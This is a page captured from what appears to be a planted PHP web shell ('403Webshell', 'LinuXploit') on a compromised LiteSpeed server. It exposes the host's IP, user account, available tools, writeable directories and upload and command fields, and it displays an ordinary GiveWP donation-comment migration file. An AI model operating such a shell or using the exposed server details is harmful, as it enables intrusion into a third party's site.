403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.135.215.148
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/cwd/plugins/give/src/Donations/Migrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/cwd/plugins/give/src/Donations/Migrations/AddMissingDonorIdToDonationComments.php
<?php

namespace Give\Donations\Migrations;

use Give\Framework\Database\DB;
use Give\Framework\Migrations\Contracts\Migration;

/**
 * Class AddMissingDonorIdToDonationComment
 *
 * @since 2.24.0
 */
class AddMissingDonorIdToDonationComments extends Migration
{
    /**
     * @inheritdoc
     */
    public function run()
    {
        $commentMetaTable = DB::prefix('give_commentmeta');
        $commentTable = DB::prefix('give_comments');
        $donationMetaTable = DB::prefix('give_donationmeta');

        DB::query(
            "
            UPDATE
                 $commentMetaTable AS cm
                INNER JOIN $commentTable AS c ON c.comment_ID = cm.give_comment_id
                INNER JOIN $donationMetaTable AS dm ON c.comment_parent = dm.donation_id
            SET
                cm.meta_value = dm.meta_value
            WHERE
                dm.meta_key = '_give_payment_donor_id'
                AND cm.meta_key = '_give_donor_id'
                AND(cm.meta_value IS NULL OR cm.meta_value = '')
            "
        );
    }

    /**
     * @inheritdoc
     */
    public static function id()
    {
        return 'add-missing-donor-id-in-donation-comments';
    }

    /**
     * @inheritdoc
     */
    public static function title()
    {
        return 'Add missing donor id in donation comments';
    }

    /**
     * @inheritdoc
     */
    public static function timestamp()
    {
        return strtotime('2022-19-12');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit